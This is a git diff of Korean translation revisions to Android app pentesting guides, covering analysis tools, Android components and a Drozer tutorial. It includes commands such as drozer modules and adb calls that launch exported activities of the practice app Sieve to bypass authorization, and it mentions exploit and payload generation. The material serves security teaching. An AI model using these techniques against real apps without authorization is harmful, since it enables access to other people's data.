루팅할 필요가 없습니다. +이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -609,7 +609,7 @@ qark --java path/to/specific/java/file.java - 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석 - 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석 - 장치 정보 -- 기타 사항 +- 기타 등등 ```bash reverse-apk relative/path/to/APP.apk ``` @@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다. -모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 자신이 필요한 것을 분석하기 위해 자체 규칙을 만들 수 있습니다. +모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다. 최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요. ``` @@ -645,9 +645,9 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다. +**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 탐지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다. -감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다. +탐지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다. 이 도구는 다음과 같은 **"나쁜" 애플리케이션의 일반적인 행동**을 찾습니다: 전화 식별자 유출, 오디오/비디오 흐름 가로채기, PIM 데이터 수정, 임의 코드 실행... ``` @@ -670,7 +670,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### Koodous -악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com) +악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com) ## 코드 난독화/디오브스큐레이션 @@ -684,19 +684,19 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리 ### [DexGuard](https://www.guardsquare.com/dexguard) -APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 확인하세요. +APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다. (그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다: - 리소스를 InputStream으로 로드합니다; - 결과를 FilterInputStream에서 상속받은 클래스에 제공하여 복호화합니다; -- 리버서의 시간을 낭비하기 위해 쓸모없는 난독화를 수행합니다; +- 리버서의 시간을 몇 분 낭비하기 위해 쓸모없는 난독화를 수행합니다; - 복호화된 결과를 ZipInputStream에 제공하여 DEX 파일을 가져옵니다; - 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 리소스로 로드합니다. ### [DeGuard](http://apk-deguard.com) -**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.** +**DeGuard는 Android 난독화 도구가 수행한 난독화 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.** 난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다. @@ -720,7 +720,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다. +AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실험실을 포함합니다. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index ea5e2e7ae..204d9f1b9 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -25,7 +25,7 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 ### Permissions -애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중단합니다.\ +애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중지합니다.\ 안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만** 모든 권한은 **매니페스트에 선언되어야 합니다**. 앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\ @@ -41,7 +41,7 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 ## Pre-Installed Applications -이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 일부는 **최적화되어** 있습니다(심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고** 있기 때문에 확인할 가치가 있습니다(루트로). +이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 그 중 일부는 **최적화되어** 있습니다(심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고** 있기 때문에 확인할 가치가 있습니다(루트로). - **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것들 - 장치 **제조업체**에 의해 추가된 것들 @@ -49,7 +49,7 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 ## Rooting -물리적 안드로이드 장치에서 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 이용해야** 하며, 이는 **장치** 및 **버전**에 **특정**입니다.\ +물리적 안드로이드 장치에 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 이용해야** 하며, 이는 **장치** 및 **버전**에 **특정**입니다.\ 익스플로잇이 성공하면, 일반적으로 리눅스 `su` 바이너리가 사용자의 PATH 환경 변수에 지정된 위치인 `/system/xbin`에 복사됩니다. su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser** 및 **SuperSU**(Google Play 스토어에서 사용 가능)와 같은 앱이 있습니다. @@ -60,17 +60,17 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리 ### ROMs **커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\ -**OmniROM**과 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다. +**OmniROM** 및 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다. **장치를 루팅할 필요가 없는 경우도 있습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제할 수 있도록 허용합니다. ### Implications -장치가 루팅되면, 어떤 앱이든 루트 접근을 요청할 수 있습니다. 악의적인 애플리케이션이 이를 얻으면 거의 모든 것에 접근할 수 있으며, 전화기를 손상시킬 수 있습니다. +장치가 루팅되면, 어떤 앱이든 루트 접근을 요청할 수 있습니다. 악성 애플리케이션이 이를 얻으면 거의 모든 것에 접근할 수 있으며, 전화기를 손상시킬 수 있습니다. ## Android Application Fundamentals -- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 언급됩니다. 본질적으로 **ZIP 파일**입니다(파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다). +- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_이라고 합니다. 본질적으로 **ZIP 파일**입니다(파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다). - APK 내용 (포괄적이지 않음) - **AndroidManifest.xml** - resources.arsc/strings.xml @@ -101,7 +101,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리 인텐트는 안드로이드 앱이 구성 요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱 간 또는 구성 요소 간에 데이터를 전달할 수도 있으며, HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다. -따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 특정 구성 요소나 앱으로 **전달될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\ +따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 **특정 구성 요소나 앱으로 지향될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\ 간단히 말해 인텐트는 다음과 같이 사용될 수 있습니다: - 활동을 시작하여 일반적으로 앱의 사용자 인터페이스를 엽니다. @@ -132,9 +132,9 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리 ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -이전에 선언된 인텐트의 **Action**은 **ACTION_SEND**이고, **Extra**는 mailto **Uri**입니다 (Extra는 인텐트가 기대하는 추가 정보입니다). +**이전 선언된 인텐트의 Action은 ACTION_SEND이며, Extra는 mailto Uri입니다(Extra는 인텐트가 기대하는 추가 정보입니다).** -이 인텐트는 다음 예와 같이 매니페스트 내에 선언되어야 합니다: +**이 인텐트는 다음 예와 같이 매니페스트 내에 선언되어야 합니다:** ```xml @@ -143,13 +143,13 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -인텐트 필터는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다. +An intent-filter는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다. -"인텐트 해상도" 프로세스는 각 메시지를 수신해야 할 앱을 결정합니다. 이 프로세스는 **우선 순위 속성**을 고려하며, 이는 **인텐트 필터 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나 **사용자가 결정할 수 있습니다**. +"Intent resolution" 프로세스는 각 메시지를 수신해야 할 앱을 결정합니다. 이 프로세스는 **priority attribute**를 고려하며, 이는 i**ntent-filter declaration**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "choser" 창이 나타나 **사용자가 결정할 수 있습니다**. -### 명시적 인텐트 +### Explicit Intents -명시적 인텐트는 타겟으로 하는 클래스 이름을 지정합니다: +명시적 인텐트는 타겟팅하는 클래스 이름을 지정합니다: ```java Intent downloadIntent = new (this, DownloadService.class): ``` @@ -161,7 +161,7 @@ context.startService(intent); ``` ### Pending Intents -이들은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 작업을 수행할 수 있도록** 하며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도와 수행할 작업을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출될 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 작업을 수행할 수 있습니다**. 게다가, **작업이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 작업이든 수행할 수 있습니다**. +이들은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 작업을 수행할 수 있도록** 하며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도를 지정하고 수행할 작업을 명시해야** 합니다. **명시된 의도가 명시적이지 않으면** (어떤 의도가 호출할 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 명시된 작업을 수행할 수 있습니다**. 게다가, **작업이 명시되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 작업이든 수행할 수 있습니다**. ### Broadcast Intents @@ -180,11 +180,11 @@ context.startService(intent); 이들은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장됩니다**.\ **이들은 모든 애플리케이션이 데이터를 엿볼 수 있도록 허용하지만, 또한 데이터를 수정할 수 있도록 합니다.** -"sticky"라는 단어가 포함된 함수, 예를 들어 **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**를 발견하면, **영향을 확인하고 제거하려고 시도하십시오**. +"sticky"라는 단어가 포함된 함수(예: **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**)를 발견하면, **영향을 확인하고 제거하려고 시도하십시오**. ## Deep links / URL schemes -안드로이드 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업(인텐트)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스킴**을 선언함으로써 이루어집니다. 안드로이드 장치가 **이 스킴을 가진 URL에 접근하려고 할 때**, 애플리케이션 내에서 지정된 활동이 시작됩니다. +안드로이드 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업(Intent)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스킴**을 선언함으로써 이루어집니다. 안드로이드 기기가 **이 스킴을 가진 URL에 접근하려고 할 때**, 애플리케이션 내에서 지정된 활동이 시작됩니다. 스킴은 **`AndroidManifest.xml`** 파일에 선언되어야 합니다: ```xml @@ -225,7 +225,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](#explo - **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다. -- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작용한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인할 수 있습니다. +- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작용한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인하세요. ## 구성 요소 @@ -235,8 +235,8 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](#explo Android 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인터페이스의 다양한 부분을 보여줍니다. 앱은 여러 개의 액티비티를 가질 수 있으며, 각 액티비티는 사용자에게 고유한 화면을 제공합니다. -**런처 액티비티**는 앱의 아이콘을 탭할 때 실행되는 앱의 주요 게이트웨이입니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다: -```markup +**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다: +```html @@ -244,7 +244,7 @@ Android 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인 ``` -모든 앱이 런처 액티비티를 필요로 하는 것은 아니며, 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱은 특히 그렇습니다. +모든 앱이 런처 액티비티를 필요로 하는 것은 아니며, 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱이 그렇습니다. 액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있도록 허용합니다: ```markdown @@ -274,11 +274,11 @@ super.onCreate(); ``` ### Services -[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, **장기 실행 작업**에 필수적입니다. +[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, 서비스는 **장기 실행 작업**에 필수적입니다. -Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점을 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다. +서비스는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다. -서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다: +서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생이나 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다: ```xml ``` @@ -286,9 +286,9 @@ Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Broadcast receivers**는 메시징 시스템에서 리스너 역할을 하여 여러 애플리케이션이 시스템의 동일한 메시지에 응답할 수 있도록 합니다. 앱은 **Manifest**를 통해 또는 **`registerReceiver`** API를 사용하여 앱 코드 내에서 **두 가지 주요 방법**으로 **리시버를 등록**할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 리시버는 등록 시 권한을 지정할 수도 있습니다. -**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전력 경고에 대한 반응과 같은 방식으로 적절히 반응할 수 있게 합니다. +**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전압 경고에 대한 반응과 같은 방식으로 적절히 반응할 수 있게 합니다. -브로드캐스트는 **비동기**일 수 있으며, 모든 리시버에 순서 없이 도달하거나 **동기**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 자신을 우선시하여 브로드캐스트를 가로챌 수 있는 잠재적인 보안 위험이 있다는 점에 유의해야 합니다. +브로드캐스트는 **비동기**일 수 있으며, 모든 리시버에 순서 없이 도달하거나 **동기**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 자신을 우선 순위로 설정하여 브로드캐스트를 가로챌 수 있는 잠재적인 보안 위험이 있다는 점에 유의해야 합니다. 리시버의 기능을 이해하려면 해당 클래스 내에서 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 Intent를 조작할 수 있으며, 특히 Intent를 수정하거나 삭제할 수 있는 **Ordered Broadcasts**에서 리시버에 의한 데이터 검증의 필요성을 강조합니다. @@ -298,7 +298,7 @@ Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, 입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 데이터 조작 및 애플리케이션 간의 공유를 용이하게 하는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원합니다. -**FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, 폴더에 대한 접근을 제어하기 위한 특정 속성을 포함하고 있으며, `android:exported` 및 `android:resource`가 폴더 구성으로 지정됩니다. 민감한 데이터가 우발적으로 노출되지 않도록 디렉토리를 공유할 때 주의가 필요합니다. +**FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, `android:exported` 및 폴더 구성에 대한 `android:resource`와 같은 특정 속성을 사용하여 폴더에 대한 접근을 제어합니다. 민감한 데이터가 우연히 노출되지 않도록 디렉토리를 공유할 때 주의가 필요합니다. FileProvider에 대한 예시 매니페스트 선언: ```xml @@ -323,14 +323,14 @@ android:resource="@xml/filepaths" /> ## WebViews -WebViews는 Android 앱 내의 **미니 웹 브라우저**와 같으며, 웹 또는 로컬 파일에서 콘텐츠를 가져옵니다. 이들은 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정을 통해 이러한 위험을 줄일 수 있는 방법**이 있습니다. +WebViews는 Android 앱 내의 **미니 웹 브라우저**와 같으며, 웹 또는 로컬 파일에서 콘텐츠를 가져옵니다. 이들은 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정**을 통해 **위험을 줄이는 방법**이 있습니다. Android는 두 가지 주요 WebView 유형을 제공합니다: -- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript alert 기능을 지원하지 않아 XSS 공격 테스트에 영향을 미칩니다. +- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 경고 기능을 지원하지 않아 XSS 공격 테스트에 영향을 미칩니다. - **WebChromeClient**는 전체 Chrome 브라우저 경험과 더 유사하게 작동합니다. -중요한 점은 WebView 브라우저가 장치의 주요 브라우저와 **쿠키를 공유하지 않는**다는 것입니다. +중요한 점은 WebView 브라우저가 장치의 주요 브라우저와 **쿠키를 공유하지** 않는다는 것입니다. 콘텐츠를 로드하기 위해 `loadUrl`, `loadData`, `loadDataWithBaseURL`와 같은 방법이 제공됩니다. 이러한 URL 또는 파일이 **안전하게 사용될 수 있는지** 확인하는 것이 중요합니다. 보안 설정은 `WebSettings` 클래스를 통해 관리할 수 있습니다. 예를 들어, `setJavaScriptEnabled(false)`로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다. diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 5e591e81b..b688d97a0 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -29,7 +29,7 @@ Agent는 포트 31415에서 실행되고 있으며, Drozer Client와 Agent 간 ```bash adb forward tcp:31415 tcp:31415 ``` -마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**" 버튼을 누릅니다. +마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**"을 누릅니다. ![](<../../../images/image (459).png>) @@ -37,26 +37,26 @@ adb forward tcp:31415 tcp:31415 ```bash drozer console connect ``` -## 흥미로운 명령어 +## Interesting Commands -| **명령어** | **설명** | +| **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. | -| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. | -| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | -| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. | -| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. | -| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. | -| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. | -| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. | -| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | -| **run MODULE** | drozer 모듈을 실행합니다. | -| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` | -| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` | +| **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. | +| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. | +| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | +| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. | +| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. | +| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. | +| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. | +| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. | +| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | +| **run MODULE** | drozer 모듈을 실행합니다. | +| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` | +| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` | -### 패키지 +### Package -이름의 일부로 필터링하여 **패키지**의 **이름**을 찾습니다: +패키지의 **이름**을 이름의 일부로 필터링하여 찾습니다: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve @@ -81,7 +81,7 @@ Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` -**매니페스트**: +**매니페스트 읽기**: ```bash run app.package.manifest jakhar.aseem.diva ``` @@ -103,7 +103,7 @@ is debuggable ### 활동 내보내기된 활동 구성 요소의 “android:exported” 값이 AndroidManifest.xml 파일에서 **“true”**로 설정되어 있습니다: -```markup +```html ``` @@ -115,9 +115,9 @@ com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` -**Start activity**: +**활동 시작**: -아마도 활동을 시작하고 이를 시작하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다. +아마도 활동을 시작하고 이를 실행하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다. ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` @@ -134,11 +134,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### Services -내보낸 서비스는 Manifest.xml 내에 선언됩니다: -```markup +내보낸 서비스는 Manifest.xml 내에서 선언됩니다: +```html ``` -코드 안에서 **check**를 위해 **`handleMessage`** 함수가 **메시지**를 **받는** 부분을 확인하세요: +코드 내부에서 **check**를 위해 **`handleMessage`** 함수가 **메시지**를 **받는**지 확인하세요: ![](<../../../images/image (82).png>) @@ -157,16 +157,16 @@ app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` -#### 예시 +#### 예제 `app.service.send`에 대한 **drozer** 도움말을 확인하세요: 